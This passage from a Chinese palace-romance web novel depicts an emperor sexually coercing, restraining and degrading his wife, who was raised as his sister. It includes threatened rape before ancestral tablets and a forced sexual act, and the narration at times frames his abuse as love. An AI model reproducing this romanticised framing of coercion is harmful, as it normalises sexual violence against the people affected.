譬如,床笫之间他一向强势至极,只要他想要,不论白日黑夜里,不论在什么地方,她都必须顺从他供他取乐,只要她拒绝就会遭受他的惩罚,而且他还时常会弄伤她。他也从未向她道过歉,也依旧自以为是地觉得他强迫她是因为他爱她。
再譬如说,他常常对她说的那些污言秽语,那些轻视亵玩的言辞,甚至经常是不避着宫人们的。他和她说那些话时,媜珠一度会觉得自己连灿娘子这样被人豢养的猫儿都不如。别说他声称她是他的妻子了,哪怕她只是他的姬妾,她也不应总是遭受这种侮辱。
最重要的是,——她什么时候说过她想做他的妻子了?她什么时候说过想要嫁给他?
打着为她好的旗号,他不让她嫁张道恭、他要杀她的那些兄长亲人们,她认也就认了,那嫁给他这件事呢?被他蒙骗着失身与他这件事呢?
这也是为她好吗?
这也是他在保护她吗?
这是他在仗势骗婚。是骗婚!
他从未考虑过她的感受,骗她娶她的时候,强占她的时候,恐怕他根本就没有考虑过若有一日她恢复记忆后面对如此处境该有多么痛苦。
她是周媜珠,而他娶的是赵家的赵媜珠,他们的婚约从一开始就是假的,是做不了数的。
周奉疆的话虽说的克制又温和,可媜珠并不领情。
帝王一怒,百官惧恐,唯独媜珠不怕他。
不知媜珠自己是否有注意到,周奉疆气急了时骂她,并不会再自称为“朕”。他对她说的是“我”。
她仍旧自顾自地道:
“若我能有重来一世就好了,重来一世,哪怕我什么也改变不了,至少我可以收回我曾对你的所有的好。我不会再和你兄妹情深,我们之间的关系,大概也就像你和二姐姐、四妹妹她们那样陌生疏离,只有一份点头之交而已,你也不用再打着兄妹情深的名义对我行强取豪夺之事。
而后你继续做你的乱世枭雄、盛世帝王,我会像四妹妹她们那样,在你这里捞一个公主名号,继而嫁给我母亲为我挑选的驸马,平平淡淡地度过一生,我会和我的驸马相敬如宾、琴瑟和鸣。我就不用再做你的女人、做你的笼中雀了。”
说这话时,她强调的是“相敬如宾”“琴瑟和鸣”,是“敬”与“和”。
这是她想要的婚姻,她想要的丈夫。
也许他并非帝王将相,也许他没有能力庇佑她荣华富贵、养尊处优,但一定要真心地尊敬她,和她和睦相处。
然而周奉疆是听不得这话的。
何止是听不得,他简直是又要被她给气死了。
听着自己捧在掌心里疼爱了二十二年的女人,如今对着他口口声声幻想着她要嫁给别的男人的故事,听着她说她再也不愿意对他好,他会是何等心情?
他几乎感到自己有些手痒,开始后悔今天过来时为什么没有把那天的那把戒尺一起带过来。
他更后悔为什么把她养得这般娇气受不得风吹雨打,她要是能皮糙肉厚些也好了,他抽她的时候也能多使点力气,不必担心把她打坏了。
周奉疆望着她露出一个嘲弄的冷笑:
“媜媜啊,若真有再重来一世,你觉得你若真的收回对我的好,今时今日你还有机会活着站在这里和我说话么?你以为你当真这样做了,你的下场就会好到哪里去么?我才不会管你的死活荣辱,我会任由你嫁给张道恭,然后你十之八九会死在和张道恭逃难的路上,连个全尸也找不回来,最后你母亲落泪一场,伤心一场,等我登基后,大不了继续追封一个兖国文公主的谥号给你,赏你一点死后哀荣,然后你这一生也就这么结束了。”
情绪激烈时,媜珠薄薄的肩骨都在发抖:“周奉疆,你是听不懂我在说什么吗?若能重来,嫁给谁我都不在乎,唯独我会避开你。我会收回对你的所有关心、对你的所有好,也许只有我不理你,你也就不用来纠缠我了。——我不想做你的女人,现在连你的妹妹都不想做,你听不懂吗?”
他何尝不是被气得胸膛起伏,指节发颤?
他怎么会听不懂她的言下之意?正是因为听懂了,他才愤怒。
这是迄今为止媜珠对他说过的他最接受不了的话。
收回所有对他的好。
她要和他做陌路人。
之前她指着他骂他是老畜生、各种咒他早点死,虽然骂的难听,但他知道她也是在气头上,所以并未往心里去。
可他受不了她说她后悔对他好这种话。
她是他贫瘠人生中唯一一个真心关心过他、真心待他好过的人,所以她在他心中和世间所有人都不一样,天下皆不能和她相提并论。
如果没有她,他这一生都是寂寥的、荒芜的、贫乏的,纵有天下之富,也不足以取他一笑。
在挣扎着长大成人的岁月里,那些在冀州侯府里忍下旁人轻视与欺压的时日里,正是因为想到她,想到有她在,想到他日后要保护好她,要亲眼见证她的成长,这才让他撑着一口气熬了过来。
现在呢?
现在她随便闹闹脾气时,轻飘飘地一个转身,可以毫无负担毫无顾虑地告诉他说,她后悔了,后悔曾经对他好,她要把这些情意全部收回来,最好能和他做陌路人。
她落了他的脸,还是当着这满殿宫娥太监们的面前狠狠打他的耳光,叫所有人都知道这段情里,一直上赶着去强迫才能得到回应的人是他。是他在一厢情愿,是他自作多情,明明被耍的团团转的那个人是他才对。
周奉疆沉默了。
今天下午时,长安城内下了一场雨。
这场清凉的雨水稍稍浇灭了夏日长安城的暑气,雨后长安,万物宜然,清风四起,摇曳着宫城内太液池里一池的藕花。
这样的时日里,若是能静静地和心爱之人用一顿晚膳,饭后一面闲聊,一面剥几个碧绿的莲子,吃一碟鲜甜的荔枝,再饮一杯冰镇过的酸梅汤,该有多惬意恬然呢?
或许之后他们还能趁着傍晚时暑气消散,在微微夜风中携手于太液池边漫步闲谈,赏满池莲叶荷花,静听蛙鸣蝉声,而后再与湖风吹来的藕花幽香扑个满怀。
在皎皎圆月清光里,她的美丽落在他眸中自是世间绝色,纵使日月亦不可与之争辉。
可惜,这这样的惬然快意,暂且尚不能实现,甚至都不会出现在周奉疆的想象里。
——没有真正享受过幸福的人,是想象不出来这样具体而琐碎的温情时光的。
这一日的傍晚,媜珠和周奉疆注定要辜负这样好的天气了。
后来不知彼此又争吵了几句,周奉疆对她的耐心彻底耗尽,他连晚膳都没胃口再用,攥着她的一只胳膊将她拖到了桌前,呵斥宫娥们将桌上的饭菜全数端走。
宫娥们战战兢兢七手八脚地上前挪走了满桌的佳肴,继而连带着倪常善等人全都无声退下,殿内只剩下帝后二人在。
他们走时,周奉疆还特意吩咐了一句,不必关殿门。
椒房殿的殿门大开,正对着外面天际上璀璨飘逸如缎带般大片大片的晚霞,零星已可见几颗星子和一轮圆月。
周奉疆将媜珠推倒在金丝木桌上,动作粗暴又十分娴熟地扯去她身上的衣裙。
他掐着她的脖颈逼她抬头去看那大敞着的殿门,去看外面的天。
“不是说,你父亲和你兄弟亲人们会在天上睁眼望着你么?不把门敞着,天上的人怎么会看得清你现在的样子,嗯?”
媜珠眼神冰冷,毫不畏惧地和他直视:
“你很怕我不爱你么?是不是很害怕万一还有轮回之日,来生的我再也不会搭理你?周奉疆,你怎么不看看你现在的样子?你只会这一招,只会这样侮辱我。你根本就不是人。”
周奉疆狞笑着捉来她的手,借着这个将她按在桌上的姿势强迫她让她去感受他的勃发与狰狞。
“我只会这一招?你不是也挺享受这一招的?周媜珠,每次事后你总是一副贞烈的做派,可你敢说你在我身下就没有过欢愉?就没有主动缠过我、咬过我?浪货。”
媜珠一听他说这样的话,极怒与愤恨之下头颅昏涨的完全没了理智,她恨恨地讥讽回去:
“像你这种人……难怪你生母都不要你,她不要你,我也不会要你。”
……
“你说什么?”
周奉疆顿了顿,缓缓停住了手上的动作,双眸充血地死死盯着她。
媜珠不敢看他的眼睛,别过头去,咬牙将那句话重复了一遍。
“难怪你生母不要你。难怪郑夫人不要你也不肯认你,她在扬州生的儿子肯定比你贴心懂事孝顺,所以哪怕你再找上门去她也不要——”
……
“倪常善!去,给朕即刻去奉先殿里,把先帝的牌位取来!去!”
周奉疆咬了咬牙,突然从她身上起了身,对着候在外面的倪常善暴喝了一声,
“不只是先帝的牌位,把她列祖列宗的牌位全给朕取来,即刻就去,两刻之内回来!”
这声音将媜珠也给吓了一大跳,身子战栗不已。
对上媜珠无限惊恐的眼神,他笑意残忍,温柔地抚过她的脸颊,压低了声音轻轻对她说道:
“周媜珠,朕让你看看朕等会怎么在你父亲、祖父他们的牌位面前,上你。”
“是你自找的。”
第69章
大抵只有至亲密如此,才能在口不择言的时候如此精准地去刺对方心底最见不得人的伤疤,才能知道对方最受不得被如何对待。
在等倪常善去奉先殿取回那些祖宗牌位的时间里,周奉疆没再对媜珠做什么,媜珠仰躺在桌上,他便双臂撑在她身侧,就这样伏在她上方静静地看着她。
空气似乎凝滞在这一刻,他们都在忍,都在赌,看看最后究竟是谁先撑不住。
最终先崩溃的那个人或许是媜珠。她终于忍不住剧烈颤抖起来,瑟缩着身体想要将自己团成一团,四肢都开始发凉。
她泪眼婆娑地看着他,像是真的从未认识过他。
这模样倒真像血淋淋案板上一只刚被捉来的待宰的兔子了。不是野兔,而是被人豢养的温顺的家兔,被人好吃好喝地喂养着,并未经过什么风雨,她是雪白柔软的,哪怕真死到临头了,除了害怕之外,她甚至做不出别的太多的反应来。
也许她此刻会有些后悔方才触怒了他吧?但她仍是倔强桀骜的,她仍旧不肯开口和他道歉求和。
周奉疆当然看得出她的害怕。
在被她勾起的滔天怒火之余,看到媜珠少见的这样恐惧战栗的姿态,她虚弱得简直像朵被骤雨打落枝头奄奄一息的娇花,他心中也不免生起几分怜惜。
一边是怜惜,一边还是对她的恨与怒。
在他看来,从始至终这么多年来,在折腾在找事的人都是她,他们之间所有的不快和争执全是因她而闹出来的,她受到的一切惩罚也皆因她咎由自取,他为什么在被她激怒之后还要去怜惜她?为什么?
这小白眼狼根本不值得他的疼惜。
很快,殿外便传来了倪常善气喘吁吁压低了声音和佩芝等人说话的动静。
媜珠知道,是倪常善取回那些东西了。
她绝望地阖上了眼睛。
作为一个合格的皇帝的贴身宦官,倪常善就算闭着眼也能想到此刻殿内是何等不堪入目的场景,那当然不是他一个太监能看的。
故,他将那些物件交给佩芝和几个贴身伺候皇后的宫娥侍女,让她们送进殿内。
见到皇帝和媜珠又折腾到如此地步,佩芝何尝不是头痛欲裂?
可她也做不了什么,只能低着头小心翼翼地捧着供奉在奉先殿内的先帝周鼎的牌位再进入内殿,垂首询问皇帝应该将此物置于何处。
余下几个小宫娥手里也捧着媜珠祖父祖母、曾祖父曾祖母他们的灵牌,唯唯诺诺地跟在佩芝身后一起进去,跪地等待着皇帝的示下。
即便她们都不敢抬头仔细去看殿内的帝后二人是何等模样,可光靠眼尾的一点余光也能瞄见个大概了。
平日里那温婉而尊贵的皇后,此刻被男人剥得衣衫不整地扣在桌案上,隐约窥见她裸露着的雪艳纤细的四肢从被撕扯成破布的纱裙中伸了出来,挣扎了几下,那修长细白的双腿曲起抵在皇帝身侧,拼命想要挣脱身上男人的桎梏。
皇帝倒是衣冠齐楚如故。
“拿过来,摆在这桌上,给皇后看得清楚仔细些!”
皇帝呵了一声,佩芝连忙上前,屏息凝神战战兢兢地将手中先帝的牌位摆在了皇后的身侧。
摆完后,她躬身立在这桌侧,又接过身后宫娥们递来的其他灵牌,一一按序摆在了这张桌上。
这张金丝木桌是不小的,摆倒也摆得下,只是这个摆放的过程实在太过难熬,尤其是听到离她如此之近的皇后细细的哽咽和吞泪声时,更让她觉得这一切为何如此的作孽。
而当她们过来时,桌上的皇后一直死死紧闭着双眸,身子抖动不已,像是害怕屈辱至极,连面对都不敢。
做完这些后,皇帝不知想起来了什么,又吩咐佩芝说:
“朕赏过皇后一只带银铃铛的玛瑙钏呢?去给朕取来!”
佩芝起先还不知皇帝寻这物有何用,但她还是手脚麻利去媜珠的梳妆台上找到了这玛瑙钏,奉到皇帝面前。
周奉疆取过这钏,命佩芝等人退下,然后直接将它戴在了媜珠左脚的脚腕上,充作她的脚链。
这玛瑙钏上缀着两三只声音清泠的铃铛,戴到媜珠的脚腕上后,她稍微挣扎一下,身子轻轻动一下,那铃铛就响个不停,尤其是在如此情色横生的糜艳场面中,自然会更叫人联想到某些活色生香的时刻。
若她的双足可以温顺地缠到男人的腰间,那么等会随着他的动作,她足上的银铃响声还会更大。
可眼下媜珠尚顾不得这等无关紧要的羞辱。
她似乎已忘记自己该做出何等反应了,因为当这样近在咫尺地看到自己父亲、祖父祖母他们的灵牌时,她的头颅仿佛早就变成了一片虚无的空白。她只能闭上眼睛不去看。
她想要尖叫出声,可她好像发不出任何声音;她想要逃离这里、逃离这样荒唐的处境,可她被他死死地钳制住,再难逃脱半分。
她是被吓傻了。
他用这种方式侮辱她,而佩芝和那些宫娥们……她们看到了。看到她这个所谓贵不可及的皇后,在男人身下也会有被如此亵玩凌辱的模样。
他是故意的,他就是故意的。
哪怕他现在还什么都没对她做,可在媜珠心里,她已被他当众凌虐施暴过无数次了。
又或者说,哪怕眼下的她只是他一个宫女爬床上位的侍妾,他也不该这样对她。
周奉疆亲昵地俯身抚摸她的发顶和脸颊,轻轻拍了拍她的脸:
“媜媜,在这里侍寝,是不是会更让你快活些?”
媜珠的唇瓣苍白得几乎没有一丝血色,周奉疆俯首亲了亲她,暧昧地含弄她本该娇艳欲滴的唇,终于给她的唇上渡上了一点朱色。
“害怕么?你不该害怕啊,媜媜,上次朕同你说过,也许你父亲在天之灵看见你承欢于朕身下,他也只会为你感到高兴的。他会希望你尽力迎合,用尽浑身解数来取悦朕,朕多宠爱你几次,你就更容易怀上子嗣。”
说到这里,他的手抚过媜珠平坦的腹部,“这里……什么时候揣上兄长的种,你父亲和你祖父祖母他们会很高兴的吧?至少这样,这江山来日的嗣位之君身上还流淌着你们周家的血脉,对不对?”
他似笑非笑,“那我们就在他们面前交媾求子,好吗?也许有你父亲和你列祖列宗的庇佑赐福,你会更容易怀上子嗣呢,媜媜。”
媜珠至今不愿睁开眼再看他。
周奉疆不悦。
他的指尖游移到她纤细脖颈后的肚兜系带上,时有时无地拨弄两下:“睁眼,再不睁眼朕现在就上你。”
媜珠依旧不为所动。
她早已看出自己今晚必定要受他凌辱,她睁不睁眼他都会继续做下去的,既然如此,她宁愿看都不看他半下。
她的眼泪、她惊恐又无助的眼神只会是他助兴取乐的工具,她绝不会让他如愿。
见媜珠还是这副不肯屈从的样子,周奉疆一边挑起她肚兜的细带,一边忽地开口问她说:
“媜媜,还记得兄长第一次解下你肚兜的时候吗?还记得那时你自己的样子吗?”
第一次。
媜珠脑海中的记忆被他狠狠震荡了一下。
那当然是她的初夜啊。
在满堂朱红的婚房里,重重床帷之内,喜烛静照之下,彼时刚刚失忆不久的她糊里糊涂被人安排着嫁他为妻。
新婚之夜,她又害怕又忐忑地躺在他身下,看着他一件件解开她的衣裙却根本不敢反抗,为了向他证明她还是深爱他这个“情郎”的,她甚至还不得不强逼着自己顺从他。
为什么明明不希望自己记得,可她依然能清清楚楚地回忆起当时的景象,甚至还能记得他的每一个表情。
解下她最后一件贴身的肚兜时,他也是用这样的姿势双臂撑在她身侧,伏在她身上看着她,看着她的那一处,她想环起手臂放在胸前遮挡,他不允。
他还说,她很美,她身上的每一处都很美,他想要好好地看看她,欣赏她的美丽。
她注意到他神情凝滞了很久,就那样静静地看着她裸露的身体,喉结滚动了几番,呼吸沉闷又粗重,继而很快眼底也泛上一层凶狠的赤红。
那是她第一次失身给他。
媜珠一下睁开了眼,恨恨地想要抬手扇他,可双手被他按住,她只能胡乱地抬腿想要踢他。
“你去死,你去死!你明知道当时失身给你非我本意,是你侮辱我、蒙骗我,你明知道提起这些会让我痛苦,你却还把这些当做消遣取乐,你怎么不去死!”
周奉疆对她的怒火不以为意,面上还是一派的散漫,又带着几分笑意:
“周媜珠,不愧我说你的确是浪货。你脑子里都在想些什么?怎么,对那夜还很怀念么?或许我去叫人把你当年的嫁衣找来,叫你穿上,再与你重温一次?”
他看着她的眼睛:“我第一次帮你脱肚兜,是在你才几个月大的时候。夏日炎热,乳母们给你穿一件红肚兜把你放在矮榻上玩,那时你肉嘟嘟软乎乎的,何其可爱。有时喂你吃点东西,你就把肚兜弄脏了,若是我在,我就会顺手替你换下。你还记得么?”
他眼底也有了几分恍然,她那时多可爱啊,脖间挂着金锁,藕节一样雪白的手臂间带着一对银手镯,只要一高兴了就不停地拍手,银铃声清脆悦耳。
她最喜欢听他和她说话,喜欢他陪她玩,也许她那时候根本听不懂他在说什么,可是只要他一说话,她就安安静静地依偎在他身边,软嘟嘟的手臂抱着他,娇憨极了。
就连他要走了时,她也不会扯着嗓子尖声哭闹,只会睁着圆圆的葡萄一般的眼睛看着他,神色落寞下来,静静地以失落的眼神目送他离开。刚学会说话后不久,她能够流利说出的一个句子就是“阿兄下次什么时候过来?”。
一转眼,他长大了,当年的那个小婴儿也长大了,可惜却再也不复当年的乖巧懂事,隔三差五就能闹得气死他。
提起这一茬后,周奉疆刚才被媜珠挑起的怒意已没有几分了。他知道她在戳他的痛处,她在提他的伤心事,骂他被他的生母抛弃厌恶,甚至还刺激他说他的生母爱别的孩子唯独不爱他云云。
可其实这对他而言已经并不是什么过不去的坎了。这不是他的伤心事,真正让他愤怒的,是他看出来她意图伤他、刺激他的这颗心。
是他将他的所有过往和盘向她托出,希望得到她更多的怜悯和爱,结果却在争执时变成她伤他的利器。
他恨的不是生母,是她。
值得伤心的也不是生母的抛弃,而是她的背叛。
不过他早已擅长原谅她。在提起她幼年时的往事时,他眼底又泛起了对她的温情。
在这上面,男人总是无奈的。当一个男人对某个女人生起几分做父亲般的怜爱时,他就彻底拿这个女人没办法了。不管她犯过多少的错,他终归还是要原谅她的。
然而听到他说起这些,媜珠却别过了头去。
她当然不记得,也不想记得。
他说这些她只会更加恨他,更加厌恶他。当真如他所说,她也算是被他亲手带大的,是他从婴孩时期亲自陪伴长大的,那她只会觉得他更加人面兽心。
他后来又是怎么对她下得了那个手的?
哪怕非亲手足,这些年的陪伴下来,不是亲人也甚比亲人了。可他还是对她起了那些欲念。
他就是畜生,就是兽类,只有禽兽之流才会只顾着发情而摒弃人伦道义。
夏日暑热,媜珠穿的清淡素雅,襦裙里头是一件月白银的肚兜,月光一般清冷的颜色,是素软洒金的香宝花缎,更衬得她肌肤雪艳,神容冷艳,眉目清冷,如月宫珠阙内不可攀折不染纤尘的仙姬。
周奉疆看出她还是毫无悔过求和之意,眉目也冷了下来,一下扯掉那薄薄的一片布料,随手丢在一旁,尚带着她柔软体温与馨香的肚兜正落在那些灵牌之间。
这场景实在是太过……太过下流、低俗、荒唐又令人发指。
她的肚兜,怎么能、怎么能被他这样丢在这里。
媜珠整个人一下就炸了,像奓毛的猫儿一样浑身毛发直竖,忽然发起疯来对他又抓又挠,口中又尖声断断续续地骂着那几句话,不是让他去死就是骂他畜生。
这一次她是真用尽浑身力气发的疯,简直是奔着和他同归于尽的架势来的,周奉疆一时失察,还真让她一段修长漂亮的指甲划过了下颌,留下一道指甲盖长的伤痕来,冒出一点细密的血珠。
这伤口他倒是不以为意的,只是又不得不用了些力气把她再制服住,解下腰间的蹀躞带捆住了她的双手,将她在桌上翻了个身,抬手在她臀上又狠狠扇了几下。
“周媜珠!你再敢闹一下试试!你再敢乱动一下,朕不仅要在这里上你,朕还要把你那几个姐姐妹妹全都召过来,让她们跪在殿门外看着你周三娘子是如何承宠的!”
媜珠撕心裂肺地哭闹起来,其声令人不忍闻之。
“早知道当日二姐姐给我的珍珠手钏,我就该派上用场,拿来把你毒死才好!就算二姐姐要一道用蛊虫杀我我也认了!”
听媜珠说起这话,周奉疆微愣:“当日那珍珠手钏,你没用么?”
媜珠抽泣:“我原先怕二姐姐说的那里头的蛊虫或许会有些毒性,本来就没打算用在你身上,正巧那日在陈阳陵围场你饮酒颇多,酒醉早眠,我觉得更不必用蛊虫迷晕你,所以便直接走了。”
“早知道你是这种畜生,我当日就该用那蛊虫杀了你,哪怕要我一道殉死我也认了。”
周奉疆失神了片刻。
媜珠说的这话,他是没想到的。
那珍珠手钏里的蛊虫早被他事先替换掉了,后来他自然无事,可他并不觉得是媜珠没用那手钏,而是她虽然放了手钏里的蛊虫也根本伤不了他。
他一直默认她是想伤他、杀他的,只不过没杀成而已。
可现在她告诉他,她原先就没有想过杀他,哪怕她拿到了她姐姐给的珍珠手钏,她也没对他用过。
他语气和缓了些:“后来那手钏呢?”
媜珠哽咽:“和施家姐妹走时,被我随手丢在山路上了。”
周奉疆哼了声:“朕现在就派人去寻,那手钏里的蛊虫若是还在,朕……你若敢骗朕,朕让你永生永世都不能再出这椒房殿半步!”
他探到她手足都有些发凉了,身体也颤抖得有些异常,想来这一招或许的确有些太过,她承受不了,何况他若真的这般做了,保不齐她要更加恨他。
再者,她刚才的示软也确实挠在了他的心坎上,他愿意为此饶她一回。
只有这一回。
他心头百转千回一阵,终究软了口气,将她再翻了过来,抱进怀里。
“不想这样、不想在这里,是不是?”
媜珠呜咽着点了下头。
周奉疆哂笑:“你有法子可以免遭这回罪,只看你愿不愿意了。你若愿意,朕就让人把你父亲他们的牌位送回去。”
媜珠泪眼朦胧地看着他,而周奉疆的视线则落在了搁置在一旁的那白玉盘中的荔枝。
“那张嘴那么会咬,这荔枝你能吃下几颗?”
……
在意识到他要做什么之后,媜珠刚恢复了些血气的脸色又刷一下白了。
第70章
这两样无论怎么选,于媜珠而言都是大同小异的屈辱罢了。
若说有什么不同,前者是连带着她的父亲和先祖都要跟她一起受辱;后者,被他玩弄的只有她一个人。
她知道该怎么选,却又仍是不甘心。
前后皆是绝路。
终于,在周奉疆已有些不耐烦地再度出声询问她时,媜珠伸出双臂环抱住他,颤颤轻声道:“……你把这些灵牌送回奉先殿。”
周奉疆笑了:“然后呢,你要为朕做些什么?”
媜珠咬了咬唇:“我选荔枝。我选荔枝,我……我吃荔枝给你看。”
他笑意愈发深,伸臂递过那盘荔枝来,把她放回桌上,示意她自己去取来。
媜珠先是拒绝:“你让她们过来把这些灵牌送回去。”
周奉疆准许了,又唤佩芝等人进来,把桌上的东西收拾了下去。
直到那荒唐的场景被人打扫干净了,周奉疆以眼神示意她去做她该做的事,媜珠才不得不起身,颤抖着伸手从盘中取来一颗荔枝。
她害怕又羞愤欲死,不仅双手在发颤,就连胸脯也剧烈起伏着。
周奉疆提醒她:“朕准你剥了壳再吃。——那么娇嫩的地方,可别被这粗糙荔枝壳给伤着了,朕该多心疼啊。”
媜珠没理会他的羞辱,纤纤细指缓缓剥了那荔枝的壳,顿时有股淡淡的清甜荔枝果肉的香气散发了出来,还有些汁水顺着她细白的指节滑落。
媜珠将果肉托在掌心里,又细心地剔了那荔枝核,却并没如周奉疆要求的那样把它送进自己嘴里。
她支起身体靠近他,蹭到他怀里,把那颗剥了壳又剔了核的荔枝喂到他唇边,姿态极柔顺。
周奉疆心中微动,面上还是那样冷漠:“闹了这么久,现在朕稍稍逼你一下,你才终于会服软?现在来讨好朕以为就有用了?”
媜珠垂眸,摇了摇头:“兄长对我早无怜惜,只是将我当做可以凌辱的玩物,我如何不知。只是看到这荔枝,我也想起往事,昔年我第一次得了我父母亲赏的两颗荔枝,我自己吃一颗,还有一颗无论如何也要留给兄长。此物金贵,如今再见,还是想先给兄长食用……然后再由我吃。”
说完这话时,她美眸中恰好无声地滚落一滴澄莹的泪珠,那泪珠先是挂在她长长的羽睫上,又从羽睫坠下,顺着她精致美丽的脸颊往下滑落。
美人的泪珠也是美丽的。
周奉疆一时竟心软了,看着她没再说话。
媜珠执意将这颗亲手剥的荔枝喂给他,又低低叹了口气:“你知道我素性如此,当年如此,现在也如此。你吃了好不好,你把它吃了……我该怎么样就怎么样。”
周奉疆吞下了那颗被她喂到唇边的荔枝。
“你若早有这样的温顺,本就该少吃许多苦头。”
说这话就是还有挽回之机的意思,媜珠立刻抱住他的腰身哇哇大哭起来,极言哭诉自己有多害怕、自己不想被那样对待,尤其是向他忏悔道歉方才不该那样和他争吵、不该口出恶言顶撞他云云。
周奉疆原先教训她,就是为了看她服个软,看她承认错误,她既然已被吓哭了,他惩戒她的目的也就达到了。
而媜珠又已有许久不曾再这样温柔地抱着他和他撒娇,被她哭了一通,当听到她泣泪哀求他不要那样对她、不要在这里宠幸她时,他心头柔软了下来,也有准备就此放过她的意思。
媜珠又立马和他承诺,说只要到床榻上去,无论他怎么对她、她都一定配合。
周奉疆遂由此摆出了一副格外宽宏大度的样子,将她打横抱起,抱着她往内殿的帷帐之间走去。
媜珠仰首吻着他的下颚,主动逢迎,更叫他心情大好,将方才怒火一扫而光。
被皇帝路过时掀起的帷帐复缓缓落下,重重帘幔遮住了内里无限春光。
将媜珠放在榻上后,周奉疆敏锐地察觉自己几日没宿在椒房殿里,这床榻枕被之间隐隐约约飘着好些灿娘子金色的猫毛。
他皱了皱眉,询问媜珠:“你让灿娘上床了?还是它趁着无人时自己跳上来的?”
媜珠轻声回答:“妾夜里孤枕难眠,叫灿娘子过来陪着妾的。”
周奉疆道:“你知道朕不喜它四处飘毛,以后朕陪你同眠,不准再叫它上来了。这轻狂的小畜生,知道自己这么邋遢,还不检点些!”
“……喵呜!”
皇帝说完这话后,殿中某处隐隐约约传来一声尖厉猫叫,不过他和媜珠并未将此放在心上。
媜珠跪坐在床榻上,很识趣地主动过去为他宽衣解带,柔柔素手似有似无地抚过男人的胸膛,撩拨意味实足。
周奉疆夸赞她知情知趣:“今夜……你若叫朕痛快,朕复宠你如旧,再不和你提往事了。”
媜珠颇妩媚地一垂眸:“陛下此言当真么?”
“朕是天子。”
一场榻上贪欢,销魂酣畅,媜珠的身子更是像灵蛇般缠着他,朱唇微张间吐出无限兰息。
忽然间她翻身伏在他胸膛上,拾起那被她丢在圆枕上的月白银的肚兜,覆于他眼眸上,遮住了他的视线。
“别看我,我有点不习惯这个姿势。”
周奉疆笑而不语,却也没阻止她,任由那块泛着她身体馨香的布料遮在他眼上。
她愈发卖力取悦他,正在他飘飘欲仙之际,胸口陡然传来了一阵刺痛。
周奉疆一下取掉了那块布料,发现身上的女人眼神恨毒地死死盯着他,手中握着一根银簪,而那银簪的另一头,已被她刺入他胸口。
男欢女爱之际,他对她毫不设防之时,她用那簪子刺他。
其实她取簪子时他便已有所察觉,只是身体上得到的巨大愉悦令他懒怠分心去理会她。
而她也真敢下这个手。
汩汩血液从他胸膛的血洞伤口处冒了出来,将她握着簪子的那只手也染上了可怖的血色。
周奉疆没有理会她的动作,甚至只是用余光随意地扫了那伤口一眼,连尚且没在他身体里的银簪也不急着取出。
无事,总归他也在她那里,刺痛着她。
他的眼神定定地望着媜珠,轻笑着问她:“方才你主动取悦朕,就是为了这一下么,媜媜?”
媜珠呼吸紊乱,怨毒又毫不畏惧地和他直视:“你早就该去死了,去死!”
周奉疆笑意不减:“要不要朕现在为你立一份遗诏?为你在你周家的宗室里择一幼子立为新帝,封你做摄政太后,叫你垂帘听政?如此,朕一死,倒还算保全了你与你母亲后半生的安稳荣华。调动长安洛阳两京兵马的虎符,在朕宣室殿书房的堪舆图之后,记得去取。”
媜珠微愣。
他神情没有丝毫痛苦,反而有了几分落拓不羁,
“只是,待朕一崩,史书本纪记述朕之生平,定要写的清清楚楚明明白白,朕是心甘情愿死在朕皇后的身上的,朕做鬼也风流。千古丹青都要记得,朕的赵皇后是何等的尤物美人啊。”
媜珠缓缓放开了握着簪子的那只手,那只银簪依然没在他身体里。
周奉疆还没摸清她是要做什么,她忽从大床的一角摸出一个圆盘状的硬物狠狠朝他身上砸去,发疯一般尖叫:
“老畜生你去死吧!你就是下流荒淫的好色之徒,你给我滚,滚,纵使史书记述,也要记你是被我打死的,你是千古史书里第一个被自己女人打死的开国之君,谁让你好色好到如斯地步,畜生!”
这一次周奉疆抬手挡了一下,不过那东西还是狠狠砸在了他手臂上,并且尖利的一处凸起处在他手臂上还划出了一道血痕。
他这时瞥了一眼,才发现是他前些天送给媜珠的护心镜。
他将此物赠她,希望此物能庇佑她无病无灾,一生顺遂,结果她却用它来伤他。
周奉疆的怒火还没腾起来之前,只听得一声猫叫,一只圆滚滚的大肥猫也忽从帘帐外飞跳了进来,毛绒绒的四足踩在周奉疆的胸膛上,一副炸了毛躬着身子的姿态,对他龇牙咧嘴地宣示凶狠之意,很快伸出两只猫前爪在他身上用尽全力恶狠狠地抓了一下,同样抓出了两道见血的伤痕。
而后这肥猫四足一起用力,乱七八糟又惊慌失措地跑开了,远远地在一旁不停继续对他叫唤示威。
是灿娘子。
大抵是它不知躲在哪里偷偷观察着两人,原先它就猜测周奉疆在对媜珠施暴,只是不敢断定,也不敢随意出手,当发现媜珠都开始反击时,它毫不犹豫地和媜珠站在了一起,也扑进来抓了这凶暴之徒两下。
明明它自己也只是一只柔弱温顺的肥猫,它连一只老鼠都没抓过,更从未伤人半下,眼下为了媜珠,连皇帝都敢抓了。
猫犬之类实则是极聪明的生灵,别看灿娘子日日懒懒散散地睡在殿中横梁上发呆,可它观察着殿内来来往往众人的神情姿态,它可是早就能判断出这些人的身份高低贵贱的。
在这殿内,最高贵者便是眼前的男人与女人,所有来到这里的人都要对他们毕恭毕敬,遵从他们的吩咐做事。
而这个男人,权势又似乎还在这个女人之上。
他是最恐怖的,最不能惹的。
灿娘子心知肚明。
可是为了最疼爱它的媜珠,在媜珠被他欺辱时,它还是追随着媜珠的动作,和媜珠一起与他“搏斗”了起来。
见灿娘子有如此行径,媜珠不免又动容又担忧地含泪唤它一声:“灿娘!”
灿娘子温顺地喵了一声应她,像是在告诉她别担心。
周奉疆到这时候才是真怒了。
好一番主仆情深,她们两倒齐心协力起来一同来暗伤他了!
媜珠的那两次动手和灿娘子的发狂,以他的身手、即便正是沉沦于情欲之中亦完全是能躲开的。
可这次他就是没躲。
昔年征战在外,不论谁人帐下猛将也不能在他面前用如此愚笨的手段伤他,但他偏偏让她做到了。
从前跟随养父周鼎在山林中围猎,便是恶虎他也面不改色地猎杀过,他还能叫一只浑身蠢肉的笨猫给伤了?
他还不是不忍伤她,还不是看在她的面子上忍住了没将那蠢猫扔出去。
周奉疆冷笑着拔出胸前的那根银簪,将它丢了出去,他又制服住媜珠,把她按在榻上,粗喘着将方才这场还没了结的情事做完了。
期间媜珠凄凄地叫了两声,灿娘子蠢蠢欲动又要扑上来,周奉疆呵斥了它一声:“你再敢过来发疯,朕就把你扔去琅琊公主府里陪你的旧主,把你和她一道关上十年的禁闭!”
灿娘子或许是被他的气势吓到,虽然低低又叫唤了两下,但却再也不敢轻举妄动了。
